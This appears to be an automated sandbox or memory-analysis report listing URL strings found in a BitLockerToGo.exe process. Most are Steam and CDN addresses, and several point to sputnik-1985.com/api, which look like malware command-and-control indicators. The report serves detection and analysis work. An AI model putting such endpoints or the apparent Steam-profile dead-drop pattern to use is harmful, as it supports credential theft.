Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356623216.00000000034F6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=M_FULq_A
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=aep8
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=VsdTzPa1YF_Y&l=e
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=Eq36AUaEgab8&l=en
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com~T
Source: BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.st~Z
Source: BitLockerToGo.exe, 00000003.00000003.2432696708.00000000034A8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.sbZ
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.0Z
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: BitLockerToGo.exe, 00000003.00000003.2454185919.0000000003463000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455088061.0000000003463000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2385447737.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454654141.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454541108.00000000034EE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2384397075.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455429001.00000000034F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2383919449.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2383640703.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/
Source: BitLockerToGo.exe, 00000003.00000003.2356666158.0000000003490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/))Y
Source: BitLockerToGo.exe, 00000003.00000003.2406591034.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2408526082.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2400912945.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2400982602.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411084940.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2401038884.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2400826255.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2399949017.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2400658474.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2398677868.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432387168.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com//
Source: BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/6
Source: BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/F
Source: BitLockerToGo.exe, 00000003.00000003.2432387168.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/K
Source: BitLockerToGo.exe, 00000003.00000003.2454185919.0000000003463000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455088061.0000000003463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/U70
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/Y
Source: BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455263174.000000000349B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454541108.00000000034EE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.000000000349C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454685450.00000000034A5000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455263174.00000000034A6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455429001.00000000034F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455377451.00000000034EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/api
Source: BitLockerToGo.exe, 00000003.00000002.2455263174.000000000349B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apiY
Source: BitLockerToGo.exe, 00000003.00000003.2454654141.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454541108.00000000034EE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455429001.00000000034F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/apiate
Source: BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/n
Source: BitLockerToGo.exe, 00000003.00000003.2454654141.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454541108.00000000034EE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455429001.00000000034F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/v
Source: BitLockerToGo.exe, 00000003.00000003.2454654141.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454541108.00000000034EE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455429001.00000000034F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/~
Source: BitLockerToGo.exe, 00000003.00000003.2432562158.00000000034EA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com:443/api
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambr.T
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356623216.00000000034F6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
